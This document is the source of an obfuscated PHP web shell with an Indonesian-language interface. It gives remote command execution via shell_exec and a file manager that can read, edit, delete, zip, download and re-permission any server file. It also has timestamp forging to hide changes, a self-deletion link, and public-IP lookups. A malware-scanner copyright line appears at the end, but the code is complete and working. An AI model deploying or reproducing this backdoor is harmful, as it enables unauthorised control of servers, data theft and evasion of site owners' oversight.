3\342\x80\246\x20\76\40\114\x41\116\x20\x53\145\164\x74\151\x6e\x67\x73\x20\x61\x6e\x64\40\x64\145\x73\145\154\145\143\164\x20\x27\125\163\x65\x20\141\40\x70\x72\157\170\171\x20\x73\145\162\166\145\x72\40\x66\157\162\x20\x79\157\x75\x72\x20\x4c\101\x4e\47\x2e\74\57\160\x3e\12\40\40\x20\x20\40\x20\x20\40\40\40\74\x2f\144\151\166\x3e\xa\x20\x20\40\40\x20\x20\40\x20\x3c\57\144\x69\x76\x3e\x3c\x62\162\x3e\x3c\142\162\x3e\x3c\x2f\x63\x65\x6e\164\145\162\x3e"; echo "\x3c\x73\x63\x72\x69\x70\x74\76\xa\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x66\165\156\x63\x74\151\x6f\156\x20\162\145\154\157\x61\x64\x50\141\147\x65\50\51\40\x7b\xa\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\x6c\157\x63\x61\164\151\157\156\56\x72\x65\154\x6f\141\144\x28\51\73\x20\57\57\x20\x52\145\x6c\x6f\141\x64\x20\164\150\145\40\143\165\x72\162\145\x6e\164\x20\x70\x61\147\x65\xa\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x7d\xa\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\146\165\156\143\164\151\x6f\156\40\164\x6f\147\x67\154\145\x44\x65\x74\x61\x69\x6c\163\50\x29\x20\173\12\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x76\x61\x72\x20\144\145\x74\x61\151\154\163\40\x3d\x20\144\157\x63\x75\x6d\145\x6e\x74\56\147\145\x74\105\x6c\x65\155\145\156\x74\102\171\x49\144\x28\x27\144\145\x74\141\x69\x6c\163\x27\51\73\12\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\166\141\x72\x20\x62\165\164\x74\x6f\x6e\40\x3d\40\144\157\x63\165\155\x65\156\x74\56\161\x75\x65\162\171\x53\145\154\x65\143\x74\x6f\162\50\47\x2e\x64\x65\164\x61\151\x6c\x73\55\142\x75\164\x74\x6f\x6e\47\51\73\12\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x69\146\x20\x28\x64\145\x74\x61\x69\x6c\163\56\163\164\171\154\145\56\144\x69\x73\160\154\141\x79\40\75\75\75\x20\x27\156\157\156\145\47\x20\174\x7c\40\144\145\x74\141\151\x6c\163\x2e\x73\164\x79\154\x65\x2e\x64\151\163\x70\154\141\171\x20\75\x3d\x3d\40\x27\x27\51\40\x7b\12\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x64\145\x74\141\151\154\163\x2e\163\164\x79\x6c\145\x2e\144\x69\x73\x70\x6c\141\x79\40\x3d\40\47\x62\x6c\x6f\x63\x6b\47\x3b\12\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\142\165\x74\x74\x6f\x6e\x2e\x69\156\156\x65\x72\124\x65\170\x74\40\x3d\40\47\x48\151\x64\145\40\144\145\164\141\151\x6c\x73\x27\73\12\40\x20\x20\40\40\40\40\40\40\40\40\40\40\40\40\x20\175\40\145\x6c\163\x65\x20\x7b\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\144\x65\164\x61\151\x6c\163\x2e\163\164\171\x6c\x65\x2e\144\x69\163\x70\154\x61\171\40\x3d\x20\x27\156\157\x6e\145\x27\73\12\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x62\x75\164\164\157\x6e\56\x69\x6e\x6e\145\x72\x54\x65\170\164\40\75\x20\47\104\145\164\141\x69\154\x73\x27\x3b\xa\40\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\175\xa\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\175\12\40\40\40\x20\x20\40\40\x20\x20\x20\74\x2f\x73\x63\x72\151\160\164\76"; echo "\x3c\163\164\x79\154\x65\40\x74\171\x70\145\x3d\47\x74\x65\170\164\x2f\143\x73\163\x27\x3e\12\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x69\156\160\165\164\133\164\x79\x70\x65\75\x70\141\x73\163\167\157\x72\x64\x5d\40\173\40\x77\x69\x64\164\150\72\x20\x32\x35\x30\x70\x78\x3b\40\150\x65\x69\147\x68\x74\x3a\40\x32\65\x70\170\x3b\x20\143\x6f\154\x6f\x72\72\40\167\x68\151\164\x65\x3b\x20\142\x61\x63\153\147\162\157\x75\156\144\x3a\40\164\162\x61\x6e\x73\160\x61\x72\x65\156\x74\x3b\40\142\157\x72\x64\145\162\x3a\40\61\x70\x78\40\x73\157\x6c\151\x64\40\167\x68\151\x74\145\x3b\x20\x6d\x61\162\147\151\156\x2d\x6c\x65\x66\x74\72\x20\x32\x30\160\x78\73\x20\164\145\170\x74\55\141\154\x69\x67\x6e\72\x20\x63\145\x6e\164\x65\x72\73\40\175\12\40\x20\40\40\x20\40\40\x20\x20\x20\74\x2f\163\164\171\154\x65\76\12\x20\x20\40\x20\40\x20\40\40\x20\40\x3c\x66\157\162\x6d\x20\141\x63\x74\x69\157\x6e\x3d\x27\47\40\x6d\145\x74\150\x6f\144\x3d\x27\x50\x4f\x53\124\x27\x3e\xa\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\x3c\x69\156\x70\x75\x74\40\x74\x79\x70\145\75\x27\x70\141\x73\x73\x77\157\162\x64\x27\x20\x6e\141\155\x65\75\47\x70\x61\163\x73\167\157\x72\144\47\76\xa\40\40\x20\40\40\x20\40\40\40\x20\x3c\57\x66\157\162\155\x3e"; die; } goto QpMBI; EcuMq: function alert($msg) { echo "\x3c\163\143\x72\151\160\x74\76\141\x6c\145\x72\164\x28\x27{$msg}\47\x29\73\x3c\x2f\x73\143\x72\x69\x70\164\76"; } goto AyG5Z; bO5aW: echo $totalPages; goto dCOv6; dpfhk:
</div></div><div class="card"><div class="card-header">Path:goto Ighpt; sQXEn: echo phpversion(); goto O7iUT; yk1zJ: if ($search) { $items = array_filter($items, function ($item) use($search) { return stripos($item, $search) !== false; }); } goto SLv9w; TVBkd: if (isset($_GET["\x64\145\154"])) { $target = $_GET["\x64\x65\154"]; deleteRecursive($target); redirect("\x3f\x64\x69\x72\75{$dir}"); } goto PBsVY; ZcyAk: if ($perPage !== "\x61\x6c\x6c") { $perPage = (int) $perPage; $totalPages = max(1, ceil($totalItems / $perPage)); $page = max(1, min($totalPages, $page)); $start = ($page - 1) * $perPage; $items = array_slice($items, $start, $perPage); } else { $totalPages = 1; $page = 1; } goto UEZgW; dCOv6:
(goto p8eoK; yZkWW: $dir = isset($_GET["\144\x69\x72"]) ? realpath($_GET["\144\x69\162"]) : getcwd(); goto Te0Pa; p8eoK: echo $totalItems; goto ZNW5o; ozhmo: $buildPath = ''; goto LYvfu; CW51O: echo htmlentities($dir); goto Bpevs; FDKNU:
"><i class="fa fa-home"></i> Home</a><div class="d-flex gap-2 align-items-center ms-auto"><button class="btn btn-sm btn-secondary"data-bs-toggle="tooltip"data-bs-placement="bottom"id="toggleDark"><i class="fas dark-mode-icon fa-moon"></i> <i class="fas d-none fa-sun light-mode-icon"></i> <span class="mode-text">Dark Mode</span></button> <a href="?suicide=1"class="btn btn-sm btn-outline-danger ms-2"onclick='return confirm("Hanya Untuk Orang Lemah Yang Menggunakan Fitur Ini")'><i class="fa fa-skull-crossbones"></i> Kill Yourself In Silence </a><a href="?logout=1"class="btn btn-sm btn-outline-danger"><i class="fa fa-sign-out-alt"></i> Logout</a></div></nav><div class="d-none bg-warning fw-bold py-2 text-center text-dark"id="statusIndicator"><div class="me-2 spinner-border spinner-border-sm"role="status"></div><span id="statusText">Processing...</span></div><div class="container mb-4 mt-4"><div class="alert alert-light small"><strong class="mb-2 d-block h5"><i class="fas fa-server"></i> INFORMASI JANDA</strong><ul class="mb-0 list-unstyled"><li><strong>Server Software:</strong>goto olqvW; kKfba: if (isset($_POST["\163\x61\x76\145\x65\x64\151\164"])) { file_put_contents($_POST["\146\151\x6c\145\x70\x61\x74\150"], $_POST["\143\157\x6e\x74\x65\x6e\x74"]); alert("\x46\x69\x6c\145\40\x73\x61\166\145\x64"); redirect("\77\144\x69\x72\75" . dirname($_POST["\146\151\x6c\x65\x70\141\164\x68"])); } goto CkiZn; Te0Pa: if (isset($_GET["\160\150\x70\151\x6e\146\x6f"])) { phpinfo(); die; } goto EFQFZ; xUpLO: if (isset($_POST["\156\145\167\x66\x6f\x6c\144\x65\x72"]) && !empty($_POST["\x66\157\154\x64\x65\162\x6e\x61\155\x65"])) { mkdir("{$dir}\x2f" . $_POST["\146\x6f\154\x64\x65\162\156\141\x6d\x65"]); redirect("\x3f\x64\x69\x72\x3d{$dir}"); } goto LQhvp; kQgek: $server_ip = isset($_SERVER["\123\105\x52\x56\x45\x52\x5f\x41\x44\104\x52"]) ? $_SERVER["\x53\105\122\x56\x45\x52\137\x41\104\x44\122"] : "\116\57\101"; goto Lnjxg; eLIf8:
</li><li><strong>Server IP:</strong>goto Fr4K1; LYvfu: foreach ($segments as $index => $seg) { if ($seg === '') { echo "\57"; continue; } $buildPath .= ($index === 0 ? '' : DIRECTORY_SEPARATOR) . $seg; echo "\x3c\141\x20\150\x72\x65\x66\x3d\x27\x3f\144\x69\x72\x3d" . urlencode($buildPath) . "\x27\x3e" . htmlentities($seg) . "\x3c\57\141\x3e"; if ($index < count($segments) - 1) { echo "\x20\x2f\x20"; } } goto zI5oP; LQhvp: if (isset($_GET["\144\x6f\167\156\x6c\157\141\x64"])) { $file = $_GET["\144\x6f\x77\156\154\157\141\144"]; if (is_file($file)) { header("\103\157\156\x74\145\x6e\164\55\104\x65\163\x63\162\151\x70\164\151\x6f\x6e\x3a\40\x46\x69\x6c\145\x20\x54\162\141\x6e\x73\x66\x65\x72"); header("\x43\x6f\x6e\164\x65\x6e\x74\55\x54\171\x70\x65\x3a\x20\141\160\160\x6c\151\x63\141\x74\151\157\156\x2f\x6f\143\x74\x65\164\x2d\x73\x74\162\145\141\x6d"); header("\103\x6f\156\164\145\156\164\55\104\x69\163\x70\157\163\x69\164\x69\157\x6e\x3a\40\141\164\164\141\143\150\155\145\x6e\x74\x3b\x20\146\151\x6c\x65\x6e\141\x6d\145\x3d\42" . basename($file) . "\x22"); header("\105\x78\x70\x69\162\145\x73\72\40\60"); header("\103\141\x63\x68\x65\x2d\103\x6f\x6e\x74\x72\x6f\154\72\40\x6d\x75\x73\x74\x2d\162\x65\166\x61\154\x69\144\141\x74\x65"); header("\120\x72\x61\x67\155\141\x3a\40\x70\165\142\154\x69\143"); header("\103\x6f\156\164\145\x6e\164\x2d\x4c\145\x6e\x67\x74\150\72\x20" . filesize($file)); readfile($file); die; } else { alert("\x46\x69\154\145\x20\156\157\x74\40\146\157\165\x6e\144\x20\x6f\x72\x20\x69\156\166\141\154\151\x64"); redirect("\77\144\x69\162\x3d{$dir}"); } } goto Yd3u6; EFQFZ: if (isset($_GET["\x73\x75\x69\x63\x69\144\145"])) { $self = __FILE__; unlink($self); echo "\74\x64\151\x76\x20\163\164\x79\154\145\75\x27\x6d\141\162\147\x69\156\x3a\x20\62\x72\x65\x6d\x3b\x20\x63\157\154\157\162\72\x20\x72\145\x64\x3b\x20\x66\x6f\x6e\164\x2d\x77\x65\151\x67\150\164\72\x20\142\157\x6c\x64\73\47\x3e\106\151\154\145\40\164\x65\154\141\x68\x20\144\x69\x68\x61\160\165\163\40\x64\141\x72\151\40\x73\x65\x72\166\x65\162\56\x3c\57\x64\151\x76\76"; die; } goto YXHGd; Ighpt: $segments = explode(DIRECTORY_SEPARATOR, $dir); goto ozhmo; wBpFH:
</li><li><strong>Version PHP:</strong>goto sQXEn; dJLBZ: $page = isset($_GET["\x70\141\x67\145"]) ? (int) $_GET["\160\x61\x67\x65"] : 1; goto RESBj; gryVK: if ($page > 1) { echo "\74\x6c\x69\x20\x63\x6c\141\x73\x73\x3d\42\x70\141\147\x65\55\151\164\145\x6d\x22\x3e\x3c\x61\x20\x63\154\x61\163\163\x3d\x22\160\141\x67\x65\55\x6c\151\x6e\153\x22\40\x68\162\145\146\75\x22" . $baseUrl . "\x26\x70\141\147\x65\x3d" . ($page - 1) . "\x22\x3e\x50\162\x65\x76\x69\157\165\x73\x3c\x2f\141\x3e\x3c\57\x6c\x69\x3e"; } goto ab0e8; DNHr2: $items = scandir($dir); goto s0i_w; UQDae: echo $page; goto wmWlN; iJpIn:
"> <button class="btn btn-sm btn-outline-secondary"type="submit">Search</button></div></form><form method="POST"><div class="d-flex gap-2 mb-2"><select class="w-auto form-select form-select-sm"name="bulk_action"required><option value="">Bulk Action</option><option value="delete">Delete</option><option value="zip">Zip</option></select> <button class="btn btn-sm btn-primary"type="submit"data-status="Applying bulk action...">Apply</button></div><table class="table table-bordered table-hover table-sm"><thead><tr><th><input type="checkbox"id="selectAll"></th><th>Name</th><th>Size</th><th>Perm</th><th>Modified</th><th>Action</th></tr></thead><tbody>goto Gr8n1; ckObs: if (isset($_GET["\x6c\x6f\x67\157\x75\164"])) { session_destroy(); header("\114\x6f\143\x61\164\151\x6f\x6e\72\40\x3f"); die; } goto Qzv1q; ZQH_9: $public_ip = getPublicIP(); goto umTAn; R3eiG: foreach (array(20, 30, 40, 50, "\x61\154\154") as $n) {
<option value="echo $n;
"echo $perPage == $n || $n === "\x61\154\154" && $perPage === "\141\x6c\154" ? "\x73\145\x6c\x65\143\164\x65\x64" : '';
>echo $n === "\x61\154\x6c" ? "\101\x6c\154" : $n;
</option>} goto zVKsv; O7iUT:
</li><li><strong>System:</strong>goto VQ98d; zI5oP:
</div><div class="card-body"><form class="d-flex align-items-center justify-content-between mb-3"><input name="dir"type="hidden"value="goto CW51O; PBsVY: if (isset($_POST["\x72\x65\x6e\x61\x6d\145"])) { rename($_POST["\164\x61\x72\x67\145\x74"], dirname($_POST["\164\x61\162\x67\x65\x74"]) . "\x2f" . $_POST["\156\x65\x77\156\141\155\145"]); redirect("\77\x64\x69\162\75{$dir}"); } goto kKfba; pBRKZ:
</tbody></table><nav class="d-flex align-items-center justify-content-between mt-3"><div>Pagegoto UQDae; CkiZn: if (isset($_POST["\x65\170\x65\x63\x5f\143\x6d\x64"])) { $terminalOutput = shell_exec($_POST["\x63\x6f\x6d\155\141\156\144"]); } goto BCTy2; Qzv1q: error_reporting(0); goto yZkWW; ztxj1: function getPublicIP() { $services = array("\150\x74\164\160\163\72\x2f\x2f\141\x70\x69\x2e\x69\x70\151\x66\171\56\157\x72\147", "\150\x74\x74\160\x73\x3a\57\57\151\x66\x63\x6f\156\x66\151\147\x2e\x6d\x65\57\x69\160", "\150\x74\x74\x70\x73\72\57\57\151\160\145\143\x68\157\56\156\x65\x74\x2f\x70\154\x61\151\x6e"); foreach ($services as $url) { $ip = @file_get_contents($url); if ($ip !== false && filter_var(trim($ip), FILTER_VALIDATE_IP)) { return trim($ip); } } return "\x54\x69\144\141\153\40\x74\x65\162\144\145\164\x65\x6b\x73\x69"; } goto ZQH_9; Lnjxg: $hostname_ip = gethostbyname(gethostname()); goto ztxj1; Yd3u6: if (isset($_GET["\x65\170\x74\162\x61\x63\164"])) { $file = $_GET["\x65\170\164\x72\141\143\x74"]; if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === "\172\x69\x70") { $zip = new ZipArchive(); if ($zip->open($file)) { $zip->extractTo(dirname($file)); $zip->close(); alert("\x5a\x69\x70\x20\x65\x78\x74\x72\x61\143\x74\x65\x64\x2e"); } else { alert("\106\x61\x69\154\145\x64\40\164\x6f\40\x65\x78\x74\162\x61\143\164\40\172\151\x70\x2e"); } } else { alert("\x4e\157\164\40\x61\40\x76\141\x6c\151\144\40\172\x69\x70\x20\x66\x69\x6c\x65\56"); } redirect("\77\x64\x69\x72\x3d" . urlencode(dirname($file))); } goto kQgek; umTAn: if (isset($_POST["\142\x75\x6c\153\x5f\x61\x63\x74\x69\157\156"]) && !empty($_POST["\x73\x65\x6c\x65\x63\164\x65\144"])) { $selected = $_POST["\163\x65\x6c\145\143\164\145\x64"]; if ($_POST["\142\165\154\x6b\x5f\141\x63\x74\151\157\156"] === "\144\x65\x6c\145\x74\x65") { foreach ($selected as $target) { deleteRecursive($target); } alert("\123\x65\x6c\x65\x63\x74\x65\144\40\x69\164\x65\x6d\x73\x20\144\x65\x6c\145\164\145\x64\x2e"); redirect("\x3f\x64\x69\162\x3d{$dir}"); } if ($_POST["\x62\165\x6c\x6b\x5f\141\143\164\151\157\x6e"] === "\172\151\x70") { $zipname = $dir . "\x2f\141\162\x63\150\x69\166\x65\137" . time() . "\56\172\151\160"; $zip = new ZipArchive(); if ($zip->open($zipname, ZipArchive::CREATE) === TRUE) { foreach ($selected as $file) { if (is_file($file)) { $zip->addFile($file, basename($file)); } elseif (is_dir($file)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $f) { $fpath = $f->getRealPath(); $relPath = substr($fpath, strlen($dir) + 1); if ($f->isDir()) { $zip->addEmptyDir($relPath); } else { $zip->addFile($fpath, $relPath); } } $zip->addEmptyDir(substr($file, strlen($dir) + 1)); } } $zip->close(); alert("\101\162\x63\150\x69\x76\145\40\143\x72\x65\x61\164\x65\x64\72\40" . basename($zipname)); } else { alert("\x46\141\x69\x6c\145\x64\x20\x74\157\x20\x63\162\145\141\x74\x65\40\x61\162\143\150\x69\166\145"); } redirect("\77\x64\x69\162\75{$dir}"); } } goto TVBkd; Ktm9C: function deleteRecursive($path) { if (is_dir($path)) { $items = scandir($path); foreach ($items as $item) { if ($item === "\56" || $item === "\x2e\56") { continue; } $itemPath = $path . DIRECTORY_SEPARATOR . $item; deleteRecursive($itemPath); } rmdir($path); } elseif (is_file($path)) { unlink($path); } } goto fNLsV; vGg1D:
"class="navbar-brand text-goto B_JPl; Rliqb:
</div><div class="fade modal"id="renameModal"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><form method="POST"><div class="modal-header"><h5>Rename Item</h5><button class="btn-close"type="button"data-bs-dismiss="modal"></button></div><div class="modal-body"><input name="target"type="hidden"id="renameTarget"> <input name="newname"class="form-control"placeholder="New Name"required></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Cancel</button> <button class="btn btn-primary"type="submit"name="rename"data-status="Renaming item...">Rename</button></div></form></div></div></div><div class="fade modal"id="permModal"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><form method="POST"><div class="modal-header"><h5>Change Permission</h5><button class="btn-close"type="button"data-bs-dismiss="modal"></button></div><div class="modal-body"><input name="perm_target"type="hidden"id="permTarget"> <input name="permissions"class="form-control"placeholder="e.g. 0755"id="permValue"></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Cancel</button> <button class="btn btn-primary"type="submit"name="change_perm">Save</button></div></form></div></div></div><div class="fade modal"id="modTimeModal"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><form method="POST"><div class="modal-header"><h5>Change Modified Time</h5><button class="btn-close"type="button"data-bs-dismiss="modal"></button></div><div class="modal-body"><input name="time_target"type="hidden"id="modTarget"> <input name="modtime"class="form-control"placeholder="YYYY-MM-DD HH:MM:SS"id="modValue"></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Cancel</button> <button class="btn btn-primary"type="submit"name="change_time">Save</button></div></form></div></div></div><div class="fade modal"id="newFileModal"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><form method="POST"><div class="modal-header"><h5>Create New File</h5><button class="btn-close"type="button"data-bs-dismiss="modal"></button></div><div class="modal-body"><input name="filename"class="form-control"placeholder="Filename"required></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Cancel</button> <button class="btn btn-success"type="submit"name="newfile">Save</button></div></form></div></div></div><div class="fade modal"id="newFolderModal"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><form method="POST"><div class="modal-header"><h5>Create New Folder</h5><button class="btn-close"type="button"data-bs-dismiss="modal"></button></div><div class="modal-body"><input name="foldername"class="form-control"placeholder="Folder Name"required></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Cancel</button> <button class="btn btn-info"type="submit"name="newfolder">Save</button></div></form></div></div></div><script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script><script>document.getElementById('renameModal').addEventListener('show.bs.modal', function (e) {
    const btn = e.relatedTarget;
    document.getElementById('renameTarget').value = btn.getAttribute('data-path');
});
document.getElementById('permModal').addEventListener('show.bs.modal', function (e) {
    const btn = e.relatedTarget;
    document.getElementById('permTarget').value = btn.getAttribute('data-path');
    document.getElementById('permValue').value = btn.getAttribute('data-perm');
});
document.getElementById('modTimeModal').addEventListener('show.bs.modal', function (e) {
    const btn = e.relatedTarget;
    document.getElementById('modTarget').value = btn.getAttribute('data-path');
    document.getElementById('modValue').value = btn.getAttribute('data-time');
});</script><script>document.getElementById('selectAll').addEventListener('change', function () {
  const checkboxes = document.querySelectorAll('input[name="selected[]"]');
  for (const cb of checkboxes) cb.checked = this.checked;
});</script><script>const toggleDark = document.getElementById("toggleDark");
  const isDark = localStorage.getItem("darkMode") === "true";

  if (isDark) {
    document.body.classList.add("dark-mode");
  }

  toggleDark.addEventListener("click", () => {
    document.body.classList.toggle("dark-mode");
    localStorage.setItem("darkMode", document.body.classList.contains("dark-mode"));
  });</script><script>// Update the toggle button text/icon based on current mode
  function updateToggleButton() {
    const isDark = document.body.classList.contains('dark-mode');
    const toggleBtn = document.getElementById('toggleDark');
    
    if (isDark) {
      document.querySelector('.dark-mode-icon').classList.add('d-none');
      document.querySelector('.light-mode-icon').classList.remove('d-none');
      document.querySelector('.mode-text').textContent = 'Light Mode';
    } else {
      document.querySelector('.light-mode-icon').classList.add('d-none');
      document.querySelector('.dark-mode-icon').classList.remove('d-none');
      document.querySelector('.mode-text').textContent = 'Dark Mode';
    }
  }
  
  // Initialize tooltip
  document.addEventListener('DOMContentLoaded', function() {
    // Initialize Bootstrap tooltip
    new bootstrap.Tooltip(document.getElementById('toggleDark'));
    
    // Set initial button state
    updateToggleButton();
    
    // Update button when toggling
    document.getElementById('toggleDark').addEventListener('click', function() {
      setTimeout(updateToggleButton, 100); // Small delay to ensure class change
    });
  });</script><script>function showStatus(text) {
    const statusBar = document.getElementById('statusIndicator');
    document.getElementById('statusText').textContent = text || 'Processing...';
    statusBar.classList.remove('d-none');
  }

  function hideStatus() {
    document.getElementById('statusIndicator').classList.add('d-none');
  }

  // Pasang event pada semua tombol submit
  document.querySelectorAll('form button[type="submit"], form button[name]').forEach(btn => {
    btn.addEventListener('click', function () {
      const status = this.getAttribute('data-status') || 'Processing...';
      showStatus(status);
    });
  });</script><footer class="text-light bg-dark border-top mt-4 py-3"><div class="container text-center"><div class="mb-2"><span>Silence is root. Knowledge is access.</span></div><div class="d-flex flex-wrap gap-4 justify-content-center"><a href="https://www.exanivar.com"class="text-light footer-link text-decoration-none"rel="noopener noreferrer"target="_blank"><i class="fa fa-globe"></i> Website </a><a href="https://www.exanivar.com/channel"class="text-light footer-link text-decoration-none"rel="noopener noreferrer"target="_blank"><i class="fa-telegram fab"></i> Telegram Channel </a><a href="https://www.exanivar.com/contact"class="text-light footer-link text-decoration-none"rel="noopener noreferrer"target="_blank"><i class="fa fa-envelope"></i> Contact</a></div></div></footer></body></htm



© 2023 Quttera Ltd. All rights reserved.